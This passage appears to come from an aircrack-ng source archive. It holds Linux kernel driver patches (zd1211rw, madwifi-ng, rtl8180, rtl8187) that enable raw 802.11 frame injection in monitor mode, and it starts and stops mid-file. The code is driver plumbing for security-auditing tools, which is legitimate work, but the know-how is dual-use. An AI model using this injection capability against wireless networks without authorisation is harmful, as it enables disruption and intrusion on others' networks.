zd_mac_to_ieee80211(mac); + int r; + struct sk_buff *skb = txb->fragments[frag_num]; + struct ieee80211_hdr_4addr *hdr = + (struct ieee80211_hdr_4addr *) skb->data; + unsigned int frag_len = skb->len + IEEE80211_FCS_LEN; + unsigned int next_frag_len; + unsigned int packet_length; + struct zd_ctrlset *cs = (struct zd_ctrlset *) + skb_push(skb, sizeof(struct zd_ctrlset)); + + if (frag_num+1 < txb->nr_frags) { + next_frag_len = txb->fragments[frag_num+1]->len + + IEEE80211_FCS_LEN; + } else { + next_frag_len = 0; + } + ZD_ASSERT(frag_len <= 0xffff); + ZD_ASSERT(next_frag_len <= 0xffff); + + cs_set_modulation(mac, cs, hdr); + + cs->tx_length = cpu_to_le16(frag_len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); + + packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; + ZD_ASSERT(packet_length <= 0xffff); + /* ZD1211B: Computing the length difference this way, gives us + * flexibility to compute the packet length. + */ + cs->packet_length = cpu_to_le16(mac->chip.is_zd1211b ? + packet_length - frag_len : packet_length); + + /* + * CURRENT LENGTH: + * - transmit frame length in microseconds + * - seems to be derived from frame length + * - see Cal_Us_Service() in zdinlinef.h + * - if macp->bTxBurstEnable is enabled, then multiply by 4 + * - bTxBurstEnable is never set in the vendor driver + * + * SERVICE: + * - "for PLCP configuration" + * - always 0 except in some situations at 802.11b 11M + * - see line 53 of zdinlinef.h + */ + cs->service = 0; + r = zd_calc_tx_length_us(&cs->service, ZD_CS_RATE(cs->modulation), + le16_to_cpu(cs->tx_length)); + if (r < 0) + return r; + cs->current_length = cpu_to_le16(r); + + if (next_frag_len == 0) { + cs->next_frame_length = 0; + } else { + r = zd_calc_tx_length_us(NULL, ZD_CS_RATE(cs->modulation), + next_frag_len); + if (r < 0) + return r; + cs->next_frame_length = cpu_to_le16(r); + } + + return 0; +} + +static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) +{ + int i, r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + for (i = 0; i < txb->nr_frags; i++) { + struct sk_buff *skb = txb->fragments[i]; + + r = fill_ctrlset(mac, txb, i); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + } + + /* FIXME: shouldn't this be handled by the upper layers? */ + mac->netdev->trans_start = jiffies; + + ieee80211_txb_free(txb); + return 0; +} + +struct zd_rt_hdr { + struct ieee80211_radiotap_header rt_hdr; + u8 rt_flags; + u8 rt_rate; + u16 rt_channel; + u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; +} __attribute__((packed)); + +static void fill_rt_header(void *buffer, struct zd_mac *mac, + const struct ieee80211_rx_stats *stats, + const struct rx_status *status) +{ + struct zd_rt_hdr *hdr = buffer; + + hdr->rt_hdr.it_version = PKTHDR_RADIOTAP_VERSION; + hdr->rt_hdr.it_pad = 0; + hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); + hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | + (1 << IEEE80211_RADIOTAP_CHANNEL) | + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); + + hdr->rt_flags = 0; + if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) + hdr->rt_flags |= IEEE80211_RADIOTAP_F_WEP; + + hdr->rt_rate = stats->rate / 5; + + /* FIXME: 802.11a */ + hdr->rt_channel = cpu_to_le16(ieee80211chan2mhz( + _zd_chip_get_channel(&mac->chip))); + hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | + ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == + ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; +} + +/* Returns 1 if the data packet is for us and 0 otherwise. */ +static int is_data_packet_for_us(struct ieee80211_device *ieee, + struct ieee80211_hdr_4addr *hdr) +{ + struct net_device *netdev = ieee->dev; + u16 fc = le16_to_cpu(hdr->frame_ctl); + + ZD_ASSERT(WLAN_FC_GET_TYPE(fc) == IEEE80211_FTYPE_DATA); + + switch (ieee->iw_mode) { + case IW_MODE_ADHOC: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != 0 || + compare_ether_addr(hdr->addr3, ieee->bssid) != 0) + return 0; + break; + case IW_MODE_AUTO: + case IW_MODE_INFRA: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != + IEEE80211_FCTL_FROMDS || + compare_ether_addr(hdr->addr2, ieee->bssid) != 0) + return 0; + break; + default: + ZD_ASSERT(ieee->iw_mode != IW_MODE_MONITOR); + return 0; + } + + return compare_ether_addr(hdr->addr1, netdev->dev_addr) == 0 || + (is_multicast_ether_addr(hdr->addr1) && + compare_ether_addr(hdr->addr3, netdev->dev_addr) != 0) || + (netdev->flags & IFF_PROMISC); +} + +/* Filters received packets. The function returns 1 if the packet should be + * forwarded to ieee80211_rx(). If the packet should be ignored the function + * returns 0. If an invalid packet is found the function returns -EINVAL. + * + * The function calls ieee80211_rx_mgt() directly. + * + * It has been based on ieee80211_rx_any. + */ +static int filter_rx(struct ieee80211_device *ieee, + const u8 *buffer, unsigned int length, + struct ieee80211_rx_stats *stats) +{ + struct ieee80211_hdr_4addr *hdr; + u16 fc; + + if (ieee->iw_mode == IW_MODE_MONITOR) + return 1; + + hdr = (struct ieee80211_hdr_4addr *)buffer; + fc = le16_to_cpu(hdr->frame_ctl); + if ((fc & IEEE80211_FCTL_VERS) != 0) + return -EINVAL; + + switch (WLAN_FC_GET_TYPE(fc)) { + case IEEE80211_FTYPE_MGMT: + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + ieee80211_rx_mgt(ieee, hdr, stats); + return 0; + case IEEE80211_FTYPE_CTL: + return 0; + case IEEE80211_FTYPE_DATA: + /* Ignore invalid short buffers */ + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + return is_data_packet_for_us(ieee, hdr); + } + + return -EINVAL; +} + +static void update_qual_rssi(struct zd_mac *mac, + const u8 *buffer, unsigned int length, + u8 qual_percent, u8 rssi_percent) +{ + unsigned long flags; + struct ieee80211_hdr_3addr *hdr; + int i; + + hdr = (struct ieee80211_hdr_3addr *)buffer; + if (length < offsetof(struct ieee80211_hdr_3addr, addr3)) + return; + if (compare_ether_addr(hdr->addr2, zd_mac_to_ieee80211(mac)->bssid) != 0) + return; + + spin_lock_irqsave(&mac->lock, flags); + i = mac->stats_count % ZD_MAC_STATS_BUFFER_SIZE; + mac->qual_buffer[i] = qual_percent; + mac->rssi_buffer[i] = rssi_percent; + mac->stats_count++; + spin_unlock_irqrestore(&mac->lock, flags); +} + +static int fill_rx_stats(struct ieee80211_rx_stats *stats, + const struct rx_status **pstatus, + struct zd_mac *mac, + const u8 *buffer, unsigned int length) +{ + const struct rx_status *status; + + *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + ieee->stats.rx_errors++; + if (status->frame_status & ZD_RX_TIMEOUT_ERROR) + ieee->stats.rx_missed_errors++; + else if (status->frame_status & ZD_RX_FIFO_OVERRUN_ERROR) + ieee->stats.rx_fifo_errors++; + else if (status->frame_status & ZD_RX_DECRYPTION_ERROR) + ieee->ieee_stats.rx_discards_undecryptable++; + else if (status->frame_status & ZD_RX_CRC32_ERROR) { + ieee->stats.rx_crc_errors++; + ieee->ieee_stats.rx_fcs_errors++; + } + else if (status->frame_status & ZD_RX_CRC16_ERROR) + ieee->stats.rx_crc_errors++; + return -EINVAL; + } + + memset(stats, 0, sizeof(struct ieee80211_rx_stats)); + stats->len = length - (ZD_PLCP_HEADER_SIZE + IEEE80211_FCS_LEN + + + sizeof(struct rx_status)); + /* FIXME: 802.11a */ + stats->freq = IEEE80211_24GHZ_BAND; + stats->received_channel = _zd_chip_get_channel(&mac->chip); + stats->rssi = zd_rx_strength_percent(status->signal_strength); + stats->signal = zd_rx_qual_percent(buffer, + length - sizeof(struct rx_status), + status); + stats->mask = IEEE80211_STATMASK_RSSI | IEEE80211_STATMASK_SIGNAL; + stats->rate = zd_rx_rate(buffer, status); + if (stats->rate) + stats->mask |= IEEE80211_STATMASK_RATE; + + return 0; +} + +static void zd_mac_rx(struct zd_mac *mac, struct sk_buff *skb) +{ + int r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211_rx_stats stats; + const struct rx_status *status; + + if (skb->len < ZD_PLCP_HEADER_SIZE + IEEE80211_1ADDR_LEN + + IEEE80211_FCS_LEN + sizeof(struct rx_status)) + { + ieee->stats.rx_errors++; + ieee->stats.rx_length_errors++; + goto free_skb; + } + + r = fill_rx_stats(&stats, &status, mac, skb->data, skb->len); + if (r) { + /* Only packets with rx errors are included here. + * The error stats have already been set in fill_rx_stats. + */ + goto free_skb; + } + + __skb_pull(skb, ZD_PLCP_HEADER_SIZE); + __skb_trim(skb, skb->len - + (IEEE80211_FCS_LEN + sizeof(struct rx_status))); + + update_qual_rssi(mac, skb->data, skb->len, stats.signal, + status->signal_strength); + + r = filter_rx(ieee, skb->data, skb->len, &stats); + if (r <= 0) { + if (r < 0) { + ieee->stats.rx_errors++; + dev_dbg_f(zd_mac_dev(mac), "Error in packet.\n"); + } + goto free_skb; + } + + if (ieee->iw_mode == IW_MODE_MONITOR) + fill_rt_header(skb_push(skb, sizeof(struct zd_rt_hdr)), mac, + &stats, status); + + r = ieee80211_rx(ieee, skb, &stats); + if (r) + return; +free_skb: + /* We are always in a soft irq. */ + dev_kfree_skb(skb); +} + +static void do_rx(unsigned long mac_ptr) +{ + struct zd_mac *mac = (struct zd_mac *)mac_ptr; + struct sk_buff *skb; + + while ((skb = skb_dequeue(&mac->rx_queue)) != NULL) + zd_mac_rx(mac, skb); +} + +int zd_mac_rx_irq(struct zd_mac *mac, const u8 *buffer, unsigned int length) +{ + struct sk_buff *skb; + + skb = dev_alloc_skb(sizeof(struct zd_rt_hdr) + length); + if (!skb) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + dev_warn(zd_mac_dev(mac), "Could not allocate skb.\n"); + ieee->stats.rx_dropped++; + return -ENOMEM; + } + skb_reserve(skb, sizeof(struct zd_rt_hdr)); + memcpy(__skb_put(skb, length), buffer, length); + skb_queue_tail(&mac->rx_queue, skb); + tasklet_schedule(&mac->rx_tasklet); + return 0; +} + +static int netdev_tx(struct ieee80211_txb *txb, struct net_device *netdev, + int pri) +{ + return zd_mac_tx(zd_netdev_mac(netdev), txb, pri); +} + +static void set_security(struct net_device *netdev, + struct ieee80211_security *sec) +{ + struct ieee80211_device *ieee = zd_netdev_ieee80211(netdev); + struct ieee80211_security *secinfo = &ieee->sec; + int keyidx; + + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), "\n"); + + for (keyidx = 0; keyidxflags & (1<encode_alg[keyidx] = sec->encode_alg[keyidx]; + secinfo->key_sizes[keyidx] = sec->key_sizes[keyidx]; + memcpy(secinfo->keys[keyidx], sec->keys[keyidx], + SCM_KEY_LEN); + } + + if (sec->flags & SEC_ACTIVE_KEY) { + secinfo->active_key = sec->active_key; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .active_key = %d\n", sec->active_key); + } + if (sec->flags & SEC_UNICAST_GROUP) { + secinfo->unicast_uses_group = sec->unicast_uses_group; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .unicast_uses_group = %d\n", + sec->unicast_uses_group); + } + if (sec->flags & SEC_LEVEL) { + secinfo->level = sec->level; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .level = %d\n", sec->level); + } + if (sec->flags & SEC_ENABLED) { + secinfo->enabled = sec->enabled; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .enabled = %d\n", sec->enabled); + } + if (sec->flags & SEC_ENCRYPT) { + secinfo->encrypt = sec->encrypt; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .encrypt = %d\n", sec->encrypt); + } + if (sec->flags & SEC_AUTH_MODE) { + secinfo->auth_mode = sec->auth_mode; + dev_dbg_f(zd_mac_dev(zd_netdev_mac(netdev)), + " .auth_mode = %d\n", sec->auth_mode); + } +} + +static void ieee_init(struct ieee80211_device *ieee) +{ + ieee->mode = IEEE_B | IEEE_G; + ieee->freq_band = IEEE80211_24GHZ_BAND; + ieee->modulation = IEEE80211_OFDM_MODULATION | IEEE80211_CCK_MODULATION; + ieee->tx_headroom = sizeof(struct zd_ctrlset); + ieee->set_security = set_security; + ieee->hard_start_xmit = netdev_tx; + + /* Software encryption/decryption for now */ + ieee->host_build_iv = 0; + ieee->host_encrypt = 1; + ieee->host_decrypt = 1; + + /* FIXME: default to managed mode, until ieee80211 and zd1211rw can + * correctly support AUTO */ + ieee->iw_mode = IW_MODE_INFRA; +} + +static void softmac_init(struct ieee80211softmac_device *sm) +{ + sm->set_channel = set_channel; + sm->bssinfo_change = bssinfo_change; +} + +struct iw_statistics *zd_mac_get_wireless_stats(struct net_device *ndev) +{ + struct zd_mac *mac = zd_netdev_mac(ndev); + struct iw_statistics *iw_stats = &mac->iw_stats; + unsigned int i, count, qual_total, rssi_total; + + memset(iw_stats, 0, sizeof(struct iw_statistics)); + /* We are not setting the status, because ieee->state is not updated + * at all and this driver doesn't track authentication state. + */ + spin_lock_irq(&mac->lock); + count = mac->stats_count < ZD_MAC_STATS_BUFFER_SIZE ? + mac->stats_count : ZD_MAC_STATS_BUFFER_SIZE; + qual_total = rssi_total = 0; + for (i = 0; i < count; i++) { + qual_total += mac->qual_buffer[i]; + rssi_total += mac->rssi_buffer[i]; + } + spin_unlock_irq(&mac->lock); + iw_stats->qual.updated = IW_QUAL_NOISE_INVALID; + if (count > 0) { + iw_stats->qual.qual = qual_total / count; + iw_stats->qual.level = rssi_total / count; + iw_stats->qual.updated |= + IW_QUAL_QUAL_UPDATED|IW_QUAL_LEVEL_UPDATED; + } else { + iw_stats->qual.updated |= + IW_QUAL_QUAL_INVALID|IW_QUAL_LEVEL_INVALID; + } + /* TODO: update counter */ + return iw_stats; +} + +#define LINK_LED_WORK_DELAY HZ + +static void link_led_handler(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, housekeeping.link_led_work.work); + struct zd_chip *chip = &mac->chip; + struct ieee80211softmac_device *sm = ieee80211_priv(mac->netdev); + int is_associated; + int r; + + spin_lock_irq(&mac->lock); + is_associated = sm->associnfo.associated != 0; + spin_unlock_irq(&mac->lock); + + r = zd_chip_control_leds(chip, + is_associated ? LED_ASSOCIATED : LED_SCANNING); + if (r) + dev_err(zd_mac_dev(mac), "zd_chip_control_leds error %d\n", r); + + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + LINK_LED_WORK_DELAY); +} + +static void housekeeping_init(struct zd_mac *mac) +{ + INIT_DELAYED_WORK(&mac->housekeeping.link_led_work, link_led_handler); +} + +static void housekeeping_enable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + 0); +} + +static void housekeeping_disable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + cancel_rearming_delayed_workqueue(zd_workqueue, + &mac->housekeeping.link_led_work); + zd_chip_control_leds(&mac->chip, LED_OFF); +} diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-23 22:26:08.000000000 +0200 @@ -781,6 +781,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-23 22:26:08.000000000 +0200 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.1/patches/old/madwifi-ng-r1526.patch0000644000000000000000000000176210761053203020262 0ustar rootrootdiff -ur madwifi-ng-r1527/ath/if_ath.c patched_madwifi-ng-r1527/ath/if_ath.c --- madwifi-ng-r1527/ath/if_ath.c 2006-04-24 01:56:00.000000000 +0200 +++ patched_madwifi-ng-r1527/ath/if_ath.c 2006-04-24 18:55:24.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/madwifi-ng-r1545.patch0000644000000000000000000000175710761053203020267 0ustar rootrootdiff -ur madwifi-ng-r1545/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1545/ath/if_ath.c 2006-05-05 22:20:22.000000000 +0200 +++ patched_madwifi-ng-r1545/ath/if_ath.c 2006-05-10 19:02:00.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rtl8180-0.21.patch0000644000000000000000000000570110761053203017160 0ustar rootrootOnly in .: .r8180_core.o.d diff -ur ../rtl8180-0.21/ieee80211_tx.c ./ieee80211_tx.c --- ../rtl8180-0.21/ieee80211_tx.c 2005-04-12 21:02:17.000000000 +0000 +++ ./ieee80211_tx.c 2005-10-12 17:38:19.000000000 +0000 @@ -577,6 +577,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -ur ../rtl8180-0.21/r8180_core.c ./r8180_core.c --- ../rtl8180-0.21/r8180_core.c 2005-04-12 12:39:56.000000000 +0000 +++ ./r8180_core.c 2005-10-12 17:42:25.000000000 +0000 @@ -2204,11 +2204,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2221,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -3411,10 +3412,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3617,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3637,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } aircrack-ng-1.1/patches/old/rtl8187_2.6.22.patch0000644000000000000000000126774210761053203017440 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if 